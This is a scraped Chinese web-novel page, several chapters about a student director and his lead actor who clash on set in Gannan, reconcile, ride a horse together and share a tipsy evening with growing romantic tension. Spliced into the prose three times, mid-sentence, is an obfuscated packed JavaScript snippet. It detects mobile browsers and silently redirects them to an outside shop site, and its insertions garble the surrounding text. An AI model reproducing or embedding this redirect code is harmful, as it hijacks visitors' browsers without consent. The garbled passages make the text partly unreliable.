好不容易提起来的情绪再度凝固,席追不着痕迹地叹了口气,觉得这风吹得他头疼。 身为副导演的林可漾迅速反应,“梅朵,马上去理一下男主的头发。” “好的。” 闻潮声盯着监视器的右上角传回来的光线画面,内心的紧迫感隐隐加剧。 他蹙眉,“这光线又变了,待会儿还要在调一下位置。” 林可漾安慰他,“没事,我们这场想追求自然光线,就该预料到有这个麻烦,这不离太阳下山还有点时间呢,大家一起慢慢调整就是了,不着急。” 旁观拍摄的诺布很有眼力见,懂事地给闻潮声递上一瓶矿泉水,“哥哥,你喝点水。” “谢谢。” 闻潮声接过,却无心喝水,目光不自觉地偏向了监视器外的席追。 眼下的这点拍摄间隙,对方居然又一次拿起了自己的手机,低头不知道再翻阅着什么,隐隐有些心不在焉。 “……” 监视器前的闻潮声盯着这一幕,藏在镜片下的双眸掠过少有的不赞同。 林可漾察觉到了这点,先拍了拍闻潮声的肩膀,然后才走到席追的身边。 她试探着问,“席追,你没有什么急事吧?要不,你的手机放在我这里保管?” “……” 席追听懂了林可漾的弦外之意,视线越过她看向后方的闻潮声。 他犹豫了一下,还是礼貌地拒绝了,“抱歉,我不习惯把我的手机交给别人,你们放心,已经静音了,不会再影响拍摄了。” 林可漾不好再多说什么,“那好吧。” 又过了两分钟,梅朵结束了补妆任务,大喊,“导演,可以了。” 闻潮声收敛那点杂绪,拿起扩音器重新要求他们调整了站位,确认新一轮的画面进光没有问题后,紧锣密鼓地开启了这场戏的第四次拍摄—— 夕阳的余晖穿透祈福的经幡,带着一种近乎悲悯的绵长暖意洒落在席追的脸上,细微的光影闪烁,勾勒出极为真实的皮肤质感。 席追按照剧本上的描写,静静眺望着经幡之外的天幕,眼神中透露出了角色该有的眷恋,却不够深入细化。 监视器前,闻潮声藏在镜片下的双眸带着少见的严谨审视。 他等待了□□秒,发现镜头前的席追仍然没有给出更深层次的情绪,一点儿不放水地喊停,“卡,重来,演得不对。” “……” 席追眉眼间掠过一丝被否定的挫败,却没有发作,他顶着四周不曾停歇的冷冽的风,耐着性子表示,“好,我调整一下情绪,重新来。” 只可惜,拍摄比他们想象中得更不顺利—— 在接下来的四五次拍摄中,不是因环境和光线的干扰而受阻,就是席追在角色的把控上出现问题,拍摄一次又一次地NG。 直到第十次喊“卡”声传来,席追的脸色终于还是挂了下来。 眼看着剧组宝贵的时间被一点点地消磨,而身为导演的闻潮声却怎么样都不满意。从小到大,他从来没有在一件事情上这么受挫过! 席追神色紧绷地走回到了监视器前,是询问也是自我怀疑,“这次又是什么问题?导演,你到底想让我怎么拍?” “……” 闻潮声感受到这声询问里压抑到边缘的情绪,用一种极为专注的目光审视着席追。 沉默片刻后,他放下了手中的扩音器,明确表示,“收工吧,今天不拍了。” 他的声音不算响亮,但有种异于往常脾性的冷静和坚定,“你的状态不适合拍摄,而且……” 这话落到席追的耳朵里,变相成了当众否定,“而且什么?” 他的脸上终于破开一丝裂缝,露出压抑在心底的少爷脾性,“是今天拍不好?还是闻导已经觉得我不胜任这个角色了?” “……” “如果是后者,那我建议闻导可以直接换人,这才开机第一天,不至于太耽误你们剧组的进度。” 19.【第019章·旧情愫】 闻潮声眸光颤了颤,解释的话卡在了喉中,“你知道你在说什么吗?” “……” 眼前人的眼尾红了些,这一幕撞得席追本就动荡的心潮越发翻涌。 不等他的回答,闻潮声就再开了口,“席追,在你的眼里,我们电影的拍摄是一个随时可以喊停换人的儿戏吗?” 语气却没了以往的温软,反而带着少有的严肃和质问。 林可漾和孙选对视一眼,暗叫不妙: 闻潮声看起来好说话,但对于拍摄上的事情一贯较真,想来有股不同于温软外表的严苛。 这会儿虽然没有大发雷霆,可这股压抑的闷劲儿看得人心里没底,就像是暴风雨前的闷雷,不知道什么时候就会落下。 随着闻潮声的质问,现场的气氛霎时降到了冰点,周围的工作人员面面相觑,谁也不敢在这个节骨眼上出声。 说实话,不是没有导演和演员在剧组里闹过矛盾的,可主演和导演在开机第一天就闹了不愉快,还真是少之又少! ——轰隆! 甘南的天说变就变。 几分钟前还是夕阳斜照,这会儿却在狂风的加持下飘来了几团阴云,浓如墨,远处的山峦更是被阴灰色幕布遮盖,隐约传来一道压抑沉闷的的雷声。 “好了,拍不好大家都着急,话赶话呢,不作数的。” 林可漾率先出声圆场,给边上人使眼色,“我看着天气也不适合继续拍摄了,今天就先到这里收工吧,辛苦大家了。” 身为主创的孙选和廖奇反应同样很快,跟着接话,“是!收工收工!” “我看这天马上要下雨了,可别淋坏了器材!” “……” 闻潮声不说话,神色依旧藏着失望的阴郁。 席追垂落在两侧的手拢成拳头,又松开,最终一言不发地朝着片场外离去。 孙选喊了声,“诶,席追!你怎么回去啊?” 席追没有回答,背影透着与生俱来的冷傲。 孙选心里直犯嘀咕,忍不住贴到另外一位当事人的身边,“潮声,现在怎么办?我们是早就知道你对拍摄要求高,但席大少爷显然是没做好这准备。” 虽然认识的时间还不长,但他能看得出来: 席追绝对是位家境阔绰的公子哥,估计从来就没受过什么挫折,骨子里有点傲气实属正常。 对方不是科班出身,半路被他们拉来拍电影已经算是新挑战了,结果开机第一天就被闻潮声连“赏”了十次NG? 这不,显然是自尊心受挫了。 “……” 闻潮声注视着席追离开的方向,最初的郁气逐渐被满腔的委屈所取代。 他垂眸掩盖住眼底那点莫名钻出的雾气,闷声开口,“回去再说吧,辛苦大家了。” … 回到酒店的第一时间,闻潮声就上了楼。 房间内黑漆漆的,没有席追的身影,开了灯,他又发现所有物品的摆放都原封未动,显然对方一直没有回来过。 “……” 天都已经黑了,怎么还没回来? 是生气了不想看见他,所以故意在外面躲着吗? 闻潮声呆呆地站在房间里,胡乱地思考着每一种可能性。 他拿起手机尝试着发消息询问,但指尖始终停留在微信对话框上,纠结再三,也不知道该怎么打破这份矛盾后的僵持。 从小到大,闻潮声最没把握的就是维系一段好的朋友关系,他知道自己慢热又内敛的性子有多么不讨喜,所以习惯了和每个人都保持不远不近的距离。 能和席追成为名义上的朋友,并且在多年后还能重新拥有交际,这已经是意外之喜了。 “……” 或许,就不应该邀请席追来出演这部电影,这样他们就不会在剧组发生矛盾了,自己更不会向现在这样束手无策。 想到最后,闻潮声采用了以往一贯的逃避手段——后退。 他从衣柜里拿出自己的行李箱,收拾着自己本来就不多的随身物品。 夜色压抑,无声侵扰着神经。 闻潮声收拾得很迅速,推着行李箱打算往外走。 滋滋。 紧闭的房门响起了动静,下一秒,席追推门而入—— 四目相对,两人的动作皆是一顿。 席追注意到了对方手中的行李箱,攥着房卡的指腹不由用力,隐隐泛白,“你这是做什么?” 闻潮声没了在剧组拍摄时的那点执拗和硬气,下意识地避开了眼前人的注视,“我搬出去,把这个房间留给你。” 席追追问,“搬出去?你打算住哪儿?” 闻潮声低声回答,“我问问酒店还有没有空房间,没有的话,我就和孙选他们一起住。” 总之,挤挤也能住下的。 “……” 席追没开口,眸光幽深。 闻潮声以为他是默认了这个提议,有点难过,推着行李箱就想要往外走。 两人即将擦肩而过的那一瞬间—— 砰! 席追反手就关上了虚掩的房门,动静不小。 闻潮声来不及反应,就被眼前人强制扣在了茶水吧台的边缘,他的后腰抵在吧台边沿,很凉的大理石质地,隔着衣料也冻得他呼吸一抖。 “你……” “先别走。” 席追举止强势地将他控在原地,说话的语气却不重,“闻潮声,我们谈谈,好吗?” 闻潮声退无可退,视线相对,又微妙错开,“谈什么?” “……” “对不起。” 压抑的沉默未曾蔓延,就被席追突如其来的道歉给打破了。 闻潮声很意外,怔住了。 席追早已经冷静了下来,毫不回避地迎上他的目光,“我知道剧组进寺庙拍摄需要提前申请,明白大家的时间都很宝贵,但可能是我太缺乏拍摄经验了,今天越往后拍就越找不准状态。” “我觉得自己在耽误大家的时间,免不了心急了,而且我从小到大就没做过什么不擅长的事,习惯成功的次数远远大于失败。” “结果你一次又一次地喊出NG,让我很受挫,才会问出那些话。” 席追很少会说这么一长段的解释。 虽然他平日里是爱逗弄闻潮声,但真遇上了问题,他同样愿意拿出正经态度去解决。 “……” 闻潮声确认了他眼底的认真,紧绷了许久的心弦松动。 “那你、你也不能说那样的话。”他指出自己最在意的点,堆集了许久的复杂情绪像是顺利找到了一个宣泄口。 “为了这部电影,我很努力的,学姐他们也是,还有其他工作人员忙前忙后也很辛苦。” “你是主演,你对整个剧组来说都是很重要的存在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548460|185475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有些话不是想说就说,那只会打击士气,你不能这么不负责。” 乌龟从壳里探出脑袋,闷葫芦终于开了口。 席追暗松一口气,干脆承认,“是,是我说得不对,我向你道歉。” 他继续追问,“还有其他的吗?” 闻潮声想了想,不太开心地纠正,“你那会儿一直在看手机,它会影响你的专心程度。” 尽管每个镜头的拍摄的时长仅限于几十秒、几分钟,但绝大多数的演员都需提前进入角色状态。 闻潮声尝试给他举例子,“你知道郑冬青老先生吗?” 像他那样的老戏骨,在演戏前都会‘丢’掉手机、‘丢’掉一切让他分心的事物,就是为了确保自己能完全进入角色。 席追是非科班出身的新人演员,在此之前又没有任何经验,本来就更容易受到外界因素的影响。 每回趁着NG时间就把注意力挪回到手机上? 这样在角色和现实之间来来回回,呈现的结果可想而知。 “好,我知道了。” 席追就猜到还有这件事,承诺,“之后拍戏,我的手机能‘丢’多远就‘丢’多远,或者干脆交给你保管。” “但凡不下戏,我就绝不看手机,这样行吗?” “……” 闻潮声考虑了一下,倒也不严格,“中场休息的时候就可以看,要连着拍的时候,就尽量少碰。” 席追听见他彻底软下来的语气,笑了声,“嗯,听导演的。” 闻潮声见眼前人说什么都配合,于是很有礼貌地反思,“其实,我也应该和你说个对不起,今天这事不全是你的问题。” 席追挑眉,“嗯?” 闻潮声坦白,“我之前没和你说过,我拍起东西来很严格、很较真,和平时不太一样。” 席追说,“嗯,我今天算是见识到了。” 闻潮声认定,只有严格到把控每一个细节,才能拍出好电影。 “你不是科班出身,进入‘角色’肯定需要一个累积的过程,我不应该一上来就给你演那么难的内心戏。” 作为导演,他没有第一时间引导主演进入最佳状态,这是一种失职。 剧组就应该让席追和央金先搭上几场戏,真正体会到唐遇的感情变化后,再来拍摄这场戏。 在回来的路上,闻潮声就已经猜到了席追为什么会生气,趁机解释,“我说收工不拍了,不是在否定你,只是察觉到你状态不对,天气和光线也变动了。” “席追,你以后可不可以不提‘辞演’这种话了?” 闻潮声压住那点未曾消散的委屈,鼓起勇气说出心里话,“唐遇这个角色,是因为你才诞生的,你就是这个电影、是我认定的唯一的男主角。” “……” 明明是个再温吞不过的脾性,直白起来却让人难以招架。 席追内心深处泛起一阵难以言喻的涟漪,暗暗克制了好几秒才接话,“对不起,那只是上了头的气话,以后保证不会再说了。” 说着,他又忍不住低头凑近了一点儿,“你别往心里去,我们一起翻篇,可以吗?” 兴许是两人离得近,呼吸间有了交织的迹象。 闻潮声莫名有些心悸,不自觉地往后一仰,“嗯。” “别生气了——”席追偏偏跟了上来,语气中隐含着一丝前所未有的服软与撒娇,“哥哥。” 20.【第020章·旧暧昧】 “……” 闻潮声不可置信地瞪大了眼睛,差点以为自己在做梦。 他的耳朵迅速荡起一片绯红,又蔓延到了脸上,结结巴巴地说不出一句完整的话,“你、你……怎么……我……” 席追没料到闻潮声的反应会这么大,意外的同时又觉得有趣。 他故作不解,“怎么这么看着我?是这声称呼有什么不对吗?我还以为你一直想听?” “……” 闻潮声的脸更红了。 “不是你说的?你本来就比我大。”席追藏着那点坏笑,贴近又喊了一声,“哥哥?” “我……你……” 闻潮声没招了,害羞地别开眼。 原本心中虚挂着的那点委屈和气性,在这两声“哥哥”的冲击下轻易瓦解。 他努力稳住心神,将身前的席追推开了一点儿,很生硬地转移话题,“所以,你下午、为什么、为什么一直看手机?” 席追看穿他的那点不好意思,配合着往后撤开点距离,“是我专业导师发来的消息。” “之前参与的一个金融项目有了新进展,他需要我补充一点儿材料、文字版本的分析阐述,还得再签署一份电子协议,而且企业方要得很着急。” 席追在校的成绩算得上顶尖,很受专业导师器重。 如果今天下午不是在拍戏,他实在腾不出空,本来这点事是能够轻易解决的。 “……” 原来是在处理课业上的正事? 闻潮声意识到自己错怪了席追,“你、你怎么不早说?” “那会儿说了也没用,而且拍戏要紧。” 席追还算了解闻潮声的性子,简单来说,就是对方太照顾旁人的想法了。 如果自己执意在片场说明自己在专业方面有急事,只会造成闻潮声不必要的心理负担,赶着时间拍摄也没必要。 席追一脸淡定,不想为了已经解决的事情再复盘,“已经解决了,我刚才不在房间,就是去忙这事了。” 闻潮声放心下来,热意稍褪,“之后再有类似的事情,你可以和我说的。” 席追点头,“好。” 他看了一眼时间,已经快八点了,“你吃过晚餐了吗?” “还没。” 闻潮声摇头,他刚才根本没有心情吃晚餐。 好在现在问题都已经解决了,他和席追的关系也没有变差,真好。 闻潮声心尖凝上一丝雀跃,主动提议,“要不,我们出去吃吧?” “行啊。” “你想吃什么?我请客,不过,县城里面可能没有特别高档的餐厅。” “也不用高档餐厅。” 席追眸光微晃,骤然浮动一个答案,“下馆子吧,我想吃红烧肉,你可以点别的想吃的菜。” 闻潮声很意外,“中午盒饭里不是吃过了吗?” 哪壶不开提哪壶,偏偏引出他这念头的当事人毫无察觉。 “量少,没吃饱。” 席追眉梢微挑,一点儿都不刻意地表示,“毕竟我不像诺布,有‘哥哥’肯把肉匀给他。” “……” 哥哥两字,咬得慢了些。 闻潮声愣了愣,莫名其妙涌上一股心虚,“我、我那是不喜欢吃,怕浪费,才给他的。” “我知道。” 席追应了一声,神情没什么波澜。 他将闻潮声的行李箱往房间内一推,断绝了对方搬离的可能性,这才不紧不慢地继续说,“你是哥哥,你想给谁投喂都可以,我又没有别的意思。” 闻潮声的脑海中掠过一个不着调的猜想,又被他自己迅速否定了—— 席追是在吃醋? 不可能的,而且听这语气也不像。 闻潮声暗暗思考了半天,也没得出个准确答案。 他看着眼前人,试图哄一下,“好吧,我待会儿就给你点,点最大份的。” 席追怔然,终究是笑了声,“哥哥,真大方啊。” “……” 怎么还喊在哥哥? 闻潮声不好意思地抿唇,但来不及多想就被席追攥了手腕,“走吧,真饿了。” “好。” … 两人乘着电梯下楼,门一开,正好遇上吃完饭回来的林可漾等人。 一行人面对面,孙选第一个出声,“你们这是……和好了?” “和好?” 席追否认,看向闻潮声,“我们吵过架吗?” 闻潮声听明白这弦外之音,腼腆地笑了一下,“没有。” 席追很满意这个答案,对这孙选说,“孙老师,不利于拍摄团结的话,少说。” “……” 行。 是他小丑了。 孙选挠了挠头,“那你们这是要出去?” 席追说,“嗯,去吃饭。” 闻潮声知道傍晚的那点小插曲还是让大家担心了,于是问,“你们吃过了吗?要一起吗?” 席追听见后半句话,眸光微晃,“是啊,要一起吗?” “……” 这哪里是想要邀请一块吃饭?根本是不希望他们打扰吧! 林可漾瞬间领会了席追的眼神,抢在另外三个男生之前,笑意吟吟地开口,“不用,我们四个吃过了,你们俩去吧,吃得开心。” 席追勾唇,“那我们就先走了,回聊。” 说着,他就拍了拍闻潮声的肩膀,引着对方往外走。 趁着电梯关门的那点时间,孙选对着两个人的背影啧啧称奇,“你们看看,这就和好了?亏我吃饭的时候还担心,以他们俩的性格得冷战呢!” “让你瞎操心?人家是朋友好吧,就算真吵架了哪又有什么关系?”廖奇搭腔,“对了,有句话怎么说来着?” 林可漾的男朋友下意识地接话,“床头吵架床尾合?” “……” “……” 孙选和廖奇齐刷刷地看了过去,满脸疑惑:不是哥们,这句话是这么用的吗? “你啊,让你嘴快。”林可漾笑着捏了一下男朋友的嘴巴,看穿了点什么却没明说。 谁知道呢? 她怎么觉得,这句话用在这两个人身上,也挺合适的。 … 闻潮声从小就被闻春申夫妇带到剧组耳濡目染,对于电影画面的审美、拍摄构图的水平本来就高出同龄人一大截。 席追虽然不是科班出身,但在演技方面是实打实的有天赋、有灵气,加上剧组主创们的全力配合、演员老师们的演技给力—— 在经历过首日那点微不足道的矛盾后,接下来的拍摄就变得很顺利,整体进度有条不紊地推进着。 眨眼过去了半个多月。 今天剧组收工很早,大部队都已经回县城里了。 孙选看着远处绵延不绝的高山草甸,兴奋地拿起相机,“潮声,我和廖奇去逛逛,趁着今天天气好,多拍点照片,我们六点在这儿集合,一块坐车回去?” “好。” 闻潮声应声。 他向来会在剧组待到最后,负责一切工作的收尾。 又过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553102|185475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一会儿,换回私服的席追才从临时搭建的帐篷里走了出来。 他看着远处已经变成“小不点”的身影,“孙选他们走了?” “嗯,说要去拍点照片。” 闻潮声回答,顺带补充,“学姐和她男朋友也去逛了,我们约定了六点集合。” 他们常年住在大都市里,很少有机会能看见这样壮阔的高山草甸,难得剧组收工早,大家都想要趁机放松放松。 席追问,“你呢?要不要去远处看看?” 话音刚落,马蹄声就突然响了起来。 诺布娴熟地骑着一匹马跑了过来,停在两人的不远处,“吁——” 他翻身下马,看了看闻潮声,又看了看整天和他黏在一起的席追,“小闻导演,你们要骑马吗?” 刚进组帮忙的时候,诺布还会喊闻潮声“哥哥”,但第二天,他就被席追在角落里单独叫住: “诺布,你得和别人一样喊闻导,不能拉低他在剧组的身份。” 诺布听不太懂什么叫做“拉低身份”,但他觉得,席追单独找时间喊住他、一本正经地纠正,应该是对的。 所以,从那天起,他见到闻潮声就改了口。 闻潮声很惊讶,“诺布,你从哪里弄来的马?” “措天叔叔家的。” 剧组今天拍摄,借用了附近藏民的马匹充当电影背景,诺布是本来就是当地人,用藏语和对方简单套了近乎,就顺理成章地借来了这匹马。 诺布很热情,“小闻导演,你们要骑马吗?我可以去帮你们多借两匹。” “我看这匹就挺好。”席追走上前去,抚摸了一下这匹黑马,“借我骑骑?” “可以。” 诺布点头,正准备教席追上马的动作。 不料下一秒,席追就借力翻身上马,牵扯住了缰绳,一套动作行云流水。 诺布震惊,“哇塞。” 闻潮声跟着看呆了,慢了好几秒才上前说,“席追,你小心点,别摔了。” “不会,我学过。”席追轻而易举掌控了这匹强壮的黑马,问他,“你要上来吗?” 闻潮声摇头,“我之前没……” “试试。” 席追拦住他的拒绝,特意往后挪出点位置,伸手邀请,“上来,我带着你。” 闻潮声看着递到眼前的掌心,犹豫了片刻,最终还是将手递了上去,“那好吧。” “来!” 席追牵紧眼前人的手,使用巧劲一拽,踩着马镫的闻潮声顺势落座在了他的身前。 背上突然多了一个人的重量,黑马略微不适应地踩了好几下马蹄,前前后后地走了走。 马背骤然晃动。 闻潮声紧张地僵直了后背,下意识地喊,“席追……” 像是早有预谋。 身后的席追以最快的速度重新拉稳缰绳,以半包围的姿势将闻潮声圈在自己的怀中,“别怕,我在呢。” 闻潮声紧绷的神经松了点,但落在耳畔的安慰,却让他的心跳不受控制地加快。 席追似有若无地瞥了一眼马下的诺布,又对着闻潮声问,“哥哥,坐稳了?” 闻潮声再次听见这声称呼,喉结小幅度地一滚,“啊?嗯。” “驾!” 下一秒,席追就娴熟地操控着马匹,带着闻潮声如同离弦之箭一般冲了出去。 “……” 被留在原地的诺布挠了挠头,有些费解: 啊? 不太懂。 他们首都来的人得这么抱着骑马呢? 21.【第021章·旧暧昧】 簌簌—— 耳畔是呼啸而过的风,带着高原独有的冷冽,马背上的颠簸带来了随时会跌落的失重感。 闻潮声的心跳一下又一下地提速,他本能攥住了身旁人的手腕,将自己撤缩在了对方的怀中。 “席追!你别骑那么快,慢、慢点!” “……” 席追察觉到了身前人的依赖,嘴角微微上扬。 他腾出一只手圈紧了闻潮声的腰,另外一只手则是稳稳地握住缰绳,“别怕,我抱着你。” 又是一声贴得极其近的安慰,混着风声钻进耳朵,闻潮声呼吸一紧,忍不住垂眸落向席追的双手。 他看着对方手背上隐隐冒起的青筋,恍然间,生出一种说不清、道不明的安全感—— 这双手,曾经在溯溪捞鱼时牵稳过他,也在他受欺负时挥过拳头,更是一次又一次地攥住他的手腕,带着犹豫不决的他向前走。 “……” 在成长过程中,闻潮声曾经不止一次想起小时候的席追。 那点对外人来说不足为道的童年记忆,更是被他一次次掰碎了、揉开了,再一点一滴地存档珍藏在记忆深处。 再后来,他通过宋雪兰的手机、在沈若的朋友圈里看见了席追的照片。 “好久不见。” 只几眼,闻潮声就记住了长大后的席追。 日子总是一天天地过着。 说不准是从那刻开始,他的心里对这份珍藏的友情,对这个分开多年却没见过的朋友,开始有了一点模糊的、超出常规的念头。 直到一次梦醒后的潮退,从未经历过的闻潮声大惊失色,他不敢深想,更不敢和任何人提及这点青春期的萌动,反而是想尽办法地压制、深埋。 可眼下,闻潮声觉得自己好像就快要藏不住了。 疾驰的马匹终于有了放缓、停下的迹象。 “在想什么?”席追察觉到了闻潮声的出神,偏过身子企图看他,“真吓到了?” 随着他身体的倾斜动作,身下的马匹又提蹄踩了两下。 晃动又起。 闻潮声骤然回过神,连忙喊,“你、你别乱动了,万一摔下马了怎么办?” 席追瞧见他这胆小谨慎的模样,忍俊不禁,“能怎么办?顶多就是摔断腿呗。” “……” 瞎说什么呢? 闻潮声蹙眉,偏头“瞪”了他一眼。 只是眼神没什么威慑力,一点也凶不起来。 席追轻笑一声,故意追问,“要是我真的在电影拍摄期间受了伤,摔了腿,那导演是不是得负责任?” “好端端的,你不要这样假设。” 闻潮声反驳,又嘟囔了一声,“呸呸~” 呸走坏话,不作数。 “好吧。” 席追学着他的语气,“呸呸。” 闻潮声这才满意地松了口气。 大概过了两三秒,他才回答了席追那个不着调的提问,“不只是你,剧组里但凡有工作人员受伤,我都会负责的。” 闻潮声看起来内向、社恐,但内在是个秩序感、责任感都很强的人,做人做事都有自己的一套准则。 身为导演,他不希望有任何人在自己的剧组内受伤,但如果真的发生了意外,他也一定会肩负起对应的责任,该照顾照顾、该赔偿赔偿。 “……” 席追没想到闻潮声回得那么认真,眸底晃过一丝动容,他沉默了两秒才应和,“闻潮声——” 闻潮声听见自己的名字,下意识地偏转过头,“嗯?” 席追对上他的眼眸,给予认可,“你已经是一位很好的导演了。” “……” 闻潮声得到这突如其来的夸奖,怔了怔。 两人骑着同一匹马,自然而然贴得很近。 在凌冽的山风中,微妙的呼吸声在不经意间突破了安全界限,相互缠绕又错开。 一下,又一下,看似微不足道的温热却在叫嚣着暧昧。 马蹄又动了动。 闻潮声骤然“醒”了过来,他不自然地别过头,没话找话,“谢谢,你、你也是位很有灵气的演员。” 席追眼色微变,拉着缰绳的手加了点力气。 黑马受到钳制,立刻安分下来。 “……” 席追又一次瞥见闻潮声耳垂上的那点红,此刻,正一点点地蔓延到后颈。 那颗缀在白皙间的淡色小痣,莫名随着这抹红晕而变得惹眼起来。 席追一瞬不瞬地盯着,内心深处涌起一股算得上“邪恶”的冲动—— 他想要用指腹摩挲这颗小痣,想看着它的色泽变动更加浓郁,甚至还想要噙住咬上一口。 闻潮声感受到身后人的灼灼目光,慌乱地想要往前挪。 席追一下子就箍紧了他的腰,语气低沉,“别乱动,小心真的摔了。” 闻潮声乖乖停了动作,却心乱地不敢再回头看他,“我们回去吧?时间差不多了。” 席追收回了视线,并不着急,“还早。” 他调整好自己的呼吸节奏,重新操控起缰绳,“我再带你跑一圈,这回骑慢点。” “……好。” 闻潮声没法拒绝。 眼下除了这一匹马,他已经找不到其他代步工具了,总不能真的逃跑下马、走路回去。 好在高原的风又一次迎面拂来,凉意足够吹散了他因为悸动而引发的那点燥热。 身后的席追说,“闻潮声,抬头看——” 远处的雪山正在被斜阳覆上一层灿红色的光,目光所及之处是延绵不绝的草原。 闻潮声感受着身后胸膛的那点安稳温度,有些恍惚,又有些舍不得这趟旅程的结束。 在甘南的一切,美好地像是一场梦。 以至于此后的好几年,他在梦里一遍又一遍的重温了这个场景。 …… 一周后,在甘南部分的拍摄圆满收了尾。 酒店餐厅内,林可漾落落大方地站起身来,代替社恐的闻潮声发言,“感谢各位工作人员、各位演员老师们在这二十多天里的配合和帮助!” “我提议,大家一起碰个杯?辛苦了?” 周围餐桌上的应和声纷纷响了起来: “行,来!” “你们主创团队才辛苦!” “就是啊,几个大学生,前途无量啊。” 众人热热闹闹地干了一杯,晚席才正式开始。 孙选拿着啤酒瓶,凑到闻潮声和席追的中间,“我们伟大的导演,以及优秀的男主角,喝一杯?” “我没问题。” 席追应下,看了一眼边上的闻潮声,“他估计不行,一杯倒。” “真的假的?潮声酒量这么菜呢?” 孙选扫视着闻潮声,笑着劝,“不过大学认识三年多,还真没见你喝过酒,今晚破个例?” 闻潮声觉得这种日子是该喝点酒助助兴,很有勇气都表示,“好的,可以喝一点儿。” “来来来!满上!” 孙选连忙给他倒酒,一半鼓舞一半怂恿,“敞开胆子喝!醉了也不怕!这么多人呢,待会儿一块回去!” 闻潮声捧着酒杯,仿佛下了什么重要决定,“嗯!” 只可惜,他是真的不会喝酒,酒量也是真的差得离奇—— 不到半小时,闻潮声的醉意就浮在了表面,但他不哭不闹,也不耍酒疯,只是安安静静地呆坐在位置上。 “潮声?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16557995|185475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……” “导演?” “……” 面对林可漾等人的呼喊,闻潮声根本不应答,只是越发板正地坐着。 孙选看傻了,“我去,这就醉了?” 林可漾跟着笑,“还挺乖。” 闻潮声根本不管他们说什么,一个劲地想睡觉,他低头摸了摸自己空落落的口袋,发出意味不明的一声,“唔。” 席追注意到了这一细微举动,顷刻明白了他的意图,“困了?房卡在我这里。” 闻潮声朝他摊开双手的掌心,眼巴巴地说,“你好,请给我,谢谢。” “……” 得了。 这回醉得比上次厉害多了,都开始用上敬语。 席追忍俊不禁,主动拉着他起身,“你们继续吃吧,我先带他回去,今晚的费用我会和老板在微信上对接转账,你们不用管。” 孙选比了一个OK,“得,席少大气,零片酬出演还请客。” 可漾对着他们说,“回去路上小心,有事电话联系。” “嗯。” 聚餐的餐厅就在他们酒店的后街,走路不过两三分钟。 闻潮声醉了酒,走起路来也摇摇晃晃,好在他醉了酒也不逞强胡闹,全程任由席追牵着手,一路乖乖跟回了酒店。 进了房间,席追第一时间开了灯。 他注意到闻潮声眼中越发明显的醉意,关切,“还好吗?头晕不晕?” 闻潮声偏头盯着眼前人,也不说话。 席追轻轻地拍了拍他的下颚,“喂,闻潮声?闻导?还能认得出我是谁吗?别当哑巴。” “唔。” 闻潮声慢半拍地点了点头,“你好,席追,晚上好。” 席追很有耐心地回应他,“嗯,你也晚上好。要不要喝点水?还是要直接睡觉?” 闻潮声听见“睡觉”两字,又回答,“要先洗澡。” 席追有些怀疑,“你现在这样还能洗热水澡?” 闻潮声延迟回答,“能的,我一直是自己洗澡的,能洗干净。” 回答了,但回答的方向好像有点偏。 席追无奈,“好,你真厉害。” 他只好打开门边上的衣柜,里面有闻潮声自带的行李收纳袋,帮着将东西一样样地找了出来。 浴巾、睡衣还有……贴身内裤。 闻潮声亦趋亦步地跟在席追的身边,像是个开启了全自动跟随的小人机。 席追将他领进浴室,又将换洗衣物搁在衣架上,不太放心地嘱咐,“门不要锁,开着一条缝,不要冲太长时间的热水澡,免得头晕站不住,会摔倒。” “……” 闻潮声站定在他的身前,又不吱声了。 那双眼藏在了镜片之下,随着浴室灯的反光,模糊得让人看不真切。 席追心一动,伸手勾走了闻潮声的黑框眼镜,“洗澡就别戴眼镜了。” “喔。” 闻潮声的双眼被醉意浸染透彻,隐隐浮动出一层水润的光,他将席追从上到下看了一遍,脑海中涌现出平日里根本不敢想的点评—— 嗯。 很高,很帅。 身材应该也很好。 “……” 闻潮声闪动了从未有过的坏念头,并且立刻付出了实际行动,他先是扯了扯眼前人的衣角,“席追,你好。” 席追失笑,“为什么又要问好?” 闻潮声一板一眼地解释,“因为要有礼貌。” 席追哄他,“已经很有礼貌了。” “嗯!” 闻潮声自我肯定地点头。 在醉意的驱使下,他发出了既莫名其妙又无比直白的邀请,“那你要和我一起洗澡吗?” 22-30 第22章 【第022章·旧暧昧】 “他对闻潮声…… “……” 席追望着眼前人因为醉意而迷离的眼色, 眉梢诧异一挑,“你说什么?” 闻潮声压根没意识到自己有多么胆大妄为,在酒劲横冲直撞的怂恿下, 他提高音量重复了一遍, “我说,你要和我一起洗澡吗?” 席追哭笑不得,对闻潮声这会儿的状态有了明确的判断:醉得不轻。 但凡还剩一点儿理智, 这只乌龟都不可能发出这份邀请。 